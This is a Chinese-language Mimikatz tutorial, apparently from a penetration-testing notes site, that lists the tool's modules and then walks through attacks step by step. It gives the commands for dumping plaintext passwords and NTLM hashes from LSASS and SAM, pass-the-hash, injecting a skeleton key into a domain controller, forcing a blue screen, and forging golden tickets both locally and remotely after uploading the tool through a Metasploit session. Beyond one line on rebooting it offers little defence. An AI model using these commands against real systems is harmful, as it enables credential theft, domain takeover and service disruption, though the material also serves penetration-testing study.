介绍

Mimikatz 是Benjamin Delpy用 C 语言制作的工具。它是从内存中提取纯文本密码、哈希和 Kerberos 票证的好工具。它还可以用于生成金票

基本命令

  1. cls: 清屏
  2. standard: 标准模块,基本命令
  3. crypto: 加密相关模块
  4. sekurlsa: 与证书相关的模块
  5. kerberos: kerberos模块
  6. privilege: 提权相关模块
  7. process: 进程相关模块
  8. serivce: 服务相关模块
  9. lsadump: LsaDump模块
  10. ts: 终端服务器模块
  11. event: 事件模块
  12. misc: 杂项模块
  13. token: 令牌操作模块
  14. vault: Windows 、证书模块
  15. minesweeper:Mine Sweeper模块
  16. net:
  17. dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
  18. busylight: BusyLight Module
  19. sysenv: 系统环境值模块
  20. sid: 安全标识符模块
  21. iis: IIS XML配置模块
  22. rpc: mimikatz的RPC控制
  23. sr98: 用于SR98设备和T5577目标的RF模块
  24. rdm: RDM(830AL)器件的射频模块
  25. acr: ACR模块
  26. version: 查看版本
  27. exit: 退出

模块解释

privilege

:::danger privilege(权限调整)

privilege::debug(最基本的操作)

提升为debug权限

privilege::id [number]

调整id来调整权限 20是dubug 10是driver

:::

  1. Privilege::debug:请求调试权限。
  2. Privilege::driver:请求装载驱动权限。
  3. Privilege::security:请求安全权限。
  4. Privilege::tcb:请求 tcb 权限。
  5. Privilege::backup:请求 backup 权限。
  6. Privilege::restore:请求恢复权限。
  7. Privilege::sysenv:请求系统环境权限。
  8. Privilege::id:请求 id 特权,参数后跟具体的 id 值,例如请求特权 8:privilege::id 8。
  9. Privilege::name:请求指定名称的权限。

sekurlsa模块(提取用户凭证功能)

  1. msv - 获取 LM & NTLM 凭证,可以获取明文密码。
  2. wdigest - 获取 WDigest 凭证,可以获取明文密码
  3. kerberos - 获取 Kerberos 凭证。
  4. tspkg - 获取 TsPkg 凭证。
  5. livessp - 获取LiveSSP 凭证。
  6. ssp - 获取凭证。
  7. logonPasswords - 获登录用户信息及密码,如果是在系统权限或者 psexec 进入的系统权限下,直接使用该命令,而无需运行 privilege::debug,否则需要运行该命令。
  8. process - 切换或者恢复到 lsass 初始状态。
  9. minidump - 切换或者恢复到 minidump 初始状态。
  10. pth - Pass-the-hash
  11. krbtgt - krbtgt!
  12. dpapisystem - 显示DPAPI_SYSTEM密码值。
  13. trust - 显示 Kerberos 票据。
  14. backupkeys - 首选备份主密钥
  15. tickets - 列出Kerberos票据
  16. ekeys - 显示 Kerberos 加密密钥。
  17. dpapi - 显示内存中的 MasterKeys
  18. credman - 显示管理员凭证。

mimikatz - 图1

sekurlsa::wdigest 通过可逆方式 提取用户密码明文
sekurlsa::kerberos 抓取kerberos的明文密码
sekurlsa::msv 提取NTLM/LM hash凭证
sekurlsa::ssp/livessp/tspkg 抓取对应的明文密码
sekutlsa::logonPasswords 抓取以上各种密码
sekurlsa::process 将自己的进程切换到lsass进程中,之前只是注入读取信息
sekurlsa::minidump file 这个模块可以读取已经打包的内存信息,
比如上述命令已经将lsass进程中的内存信息保存为dmp文件了 那么此时我们可以离线读取其中的信息 但是需要指定文件名。
加载dmp文件,并导出其中的明文密码
:::danger sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords full
:::
sekurlsa::pth pass-the-hash hash传递攻击

Kerberos模块(常用于金银票据)

kerberos::list 列出当前所有的票据(等同于klist)
kerberos::purge 清除系统中的票据
kerberos::ptt Pass The Ticket 即票据传递
Kerberos::golden 伪造票据 如金银票据

Crypto( 导出未标记为可导出的证书)

一般私钥会被标记为不可导出,使用这个参数可以给系统打patch,之后就可以导出了。
  1. Module : crypto
  2. Full name : Crypto Module
  3. providers - List cryptographic providers //该命令列出所有 CryptoAPI 提供者。
  4. stores - List cryptographic stores //列出系统存储中的逻辑存储,crypto::stores /systemstore:local_machine。
  5. certificates - List (or export) certificates //显示或者导出证书。
  6. keys - List (or export) keys containers //列出或者显示密钥。
  7. sc - List smartcard readers //此命令列出系统上的智能卡/令牌读取器或将其移出系统;当 CSP 可用时,它会尝试在智能卡上列出密钥。
  8. hash - Hash a password with optional //显示当前用户的的哈希(LM、NTLM、md5、sha1、sha2)计算值。username
  9. system - Describe a Windows System Certificate (file, TODO:registry or hive) //描述 Windows 系统证书(注册表或者 hive 文件)。
  10. scauth - Create a authentication certitifate (smartcard like) from a CA //从 CA 创建一个认证(智能卡等)
  11. certtohw - Try to export a software CA to a crypto (virtual)hardware //尝试将软件 CA 导出到加密(虚拟)硬件中。
  12. capi - [experimental] Patch CryptoAPI layer for easy export //修补 CryptoAPI 程序方便导出。
  13. cng - [experimental] Patch CNG service for easy export //修补 CNG 服务方便导出。
  14. extract - [experimental] Extract keys from CAPI RSA/AES provider //从 CAPI RSA/AES 提供者获取密钥。

Process(进程模块)

  1. list - List process //列出进程
  2. exports - List exports //导出进程
  3. imports - List imports //导入进程
  4. start - Start a process //开始一个进程,后跟进程名称
  5. stop - Terminate a process //停止一个进程,process::stop /pid:1692(结束 pid 为1692的进程)。
  6. suspend - Suspend a process //挂起一个进程。
  7. resume - Resume a process //恢复一个进程。
  8. run - Run! //运行一个进程。
  9. runp -
process::list 列出进程列表
process::exports 导出进程列表
process::imports 导入列表
process::start 开始一个进程
process::stop 停止一个进程
process::suspend 冻结一个进程
process::resume 从冻结中恢复
process::run notepad 运行一个程序
process::runp 以SYSTEM权限打开一个新的mimikatz窗口

利用

转储哈希

  1. privilege::debug
  2. token::elevate
  3. lsadump::sam

mimikatz - 图2

使用 Mimikatz 生成万能钥匙

  • 受害者: Windows Server 2012 R2
  • 攻击者: Mimikatz (在 Windows Server 2012 R2 上)

首先,我将尝试使用 mimikatz 作为密码登录我的服务器:

mimikatz - 图3

如您所见,我们无法使用“mimikatz”作为密码登录服务器

mimikatz - 图4

现在我将使用密码“T00r”登录服务器

mimikatz - 图5

正如您在下面看到的,我已经使用正确的密码登录了服务器

mimikatz - 图6

如果你曾登录过服务器或解锁过服务器,则可以使用 Mimikatz 创建一个万能密钥,将其存储在服务器的内存中。

根据服务器的架构(x32、x64)启动 Mimikatz 终端。现在首先我们将使用 Mimikatz 获得调试权限

  1. privilege::debug

然后我们将 mimikatz 骨架密钥注入服务器的内存中使用

  1. misc::skeleton

有了这个,我们的万能钥匙就成功地注入了服务器。

注意:您必须使用管理权限打开 mimikatz 才能创建万能钥匙。

mimikatz - 图7

现在我将尝试使用我们刚刚注入内存的骨架密钥“mimikatz”登录服务器。记得上次我们尝试使用 mimikatz 作为密码登录服务器,但我们没有成功

mimikatz - 图8

但这次“mimikatz”被接受为密码。这并不意味着我们重置了原始密码“T00r”。服务器将继续使用“T00r”登录,但现在它也将接受“mimikatz”作为密码。

现在,请记住,我们将万能密钥注入到内存中,而不是存储中,因此下次管理员重新启动服务器时,我们将失去访问权限。因此,保护域控制器免受万能密钥攻击的最佳方法是经常重启服务器或阻止 mimikatz 访问内存。

mimikatz - 图9

使用 Mimikatz 进行蓝屏死机

  • 攻击者:Mimikatz(在 Windows 7 上)
  • 受害者:Windows 7

执行步骤:

  • 以管理员身份运行 mimikatz
  • 启动 mimidrv 服务
  1. !+

mimikatz - 图10

  • 启动 BSOD 命令
  1. !bsod

mimikatz - 图11

正如您在下面看到的,我们有蓝屏死机错误

注意:此攻击可能会损坏数据并可能危害系统。小心使用!

mimikatz - 图12

显示主机名称

  1. # hostname

mimikatz - 图13

使用 Mimikatz 生成金票

  • 攻击者:Windows Server 2012 R2 上的 Mimikatz
  • 受害者:Windows Server 2012 R2

要生成金票,我们需要以下信息:

  • 域名称
  • SID
  • NTLM 哈希

获取域名称:
mimikatz - 图14

这里域名称为: Pavan.local

获取 SID

mimikatz - 图15

使用 mimikatz 提取 NTLM 哈希

  1. # privilege::debug
  2. # sekurlsa::logonpasswords

mimikatz - 图16

生成金票:

  1. # 语法
  2. Kerberos::golden /domain:[Domain] /sid:[SID] /rc4:[NTLM Hash] /user:[Username To Create] /id:500 /ptt
  3. kerberos::golden /domain:PAVAN.LOCAL /sid:S-1-5-21-1118594253-693012904-2765600535 /rc4:9a7a6f22651d6a0fcc6e6a0c723c9cb0 /user:hacker /id:500 /ptt

我们正在为 hacker 用户创建金票,我们也可以使用该域内任何现有用户或者创建一个新用户

mimikatz - 图17现在运行命令提示符以访问共享文件夹并执行以下命令:

  1. > pushd \\WINSERVER01\c$
  2. > cd WINDOWS\NTDS
  3. > dir

如您所见,我们获得了对共享文件夹的访问权限,如果没有管理员访问权限则无法访问该共享文件夹,但我们是在不使用 CMD 作为管理员的情况下获得的。从下面给出的图像中,您可以观察到它显示了 8 个文件和 2 个文件夹。

mimikatz - 图18

远程生成金票

  • 攻击者: kali
  • 受害者: Windows Server 2012 R2

利用 MSF 获取远程会话

将 mimikatz 文件夹上传到目标

  1. upload -r /root/Desktop/mimi c:\

mimikatz - 图19

打开 SHELL ,并使用 ipconfig/all 获取域

mimikatz - 图20

获取 SID:

mimikatz - 图21

现在转到我们之前上传 mimikatz 的位置并运行mimikatz.exe,如下所示

mimikatz - 图22

现在让我们使用以下命令提取krbtgt NTLM 哈希

  1. lsadump::lsa /inject /name: krbtgt

mimikatz - 图23

现在使用提取的所有信息,让我们以与上面相同的方式生成一张黄金票。

  1. kerberos::golden /domain:pavan.loc /sid:S-1-5-21-97841242-3460736137-492355079 /rc4:e847d2e54044172830e3e3a6b8438853 /user:Hacker /id:500 /ptt

mimikatz - 图24现在让我们访问共享文件夹,如您所见,我们可以访问共享文件夹,如果没有管理员访问权限则无法访问。

因此我们成功地通过 Kali 在 Windows Server 中远程生成了一张金票

mimikatz - 图25

破解扫雷游戏

为了展示 Mimikatz 是一个强大而有趣的工具,在这里我将使用 Mimikatz 破解扫雷游戏。

首先打开各自架构的Mimikatz。

mimikatz - 图26

然后打开扫雷游戏

mimikatz - 图27

使用 mimikatz 加载扫雷器

  1. minesweeper::infos

您可以在上面的屏幕截图中看到扫雷网格显示在 mimikatz shell 中。

mimikatz - 图28

现在点击扫雷器上的任意随机方块。

mimikatz - 图29

现在再次运行之前的命令,现在我们在网格上有了我的位置。

mimikatz - 图30

参考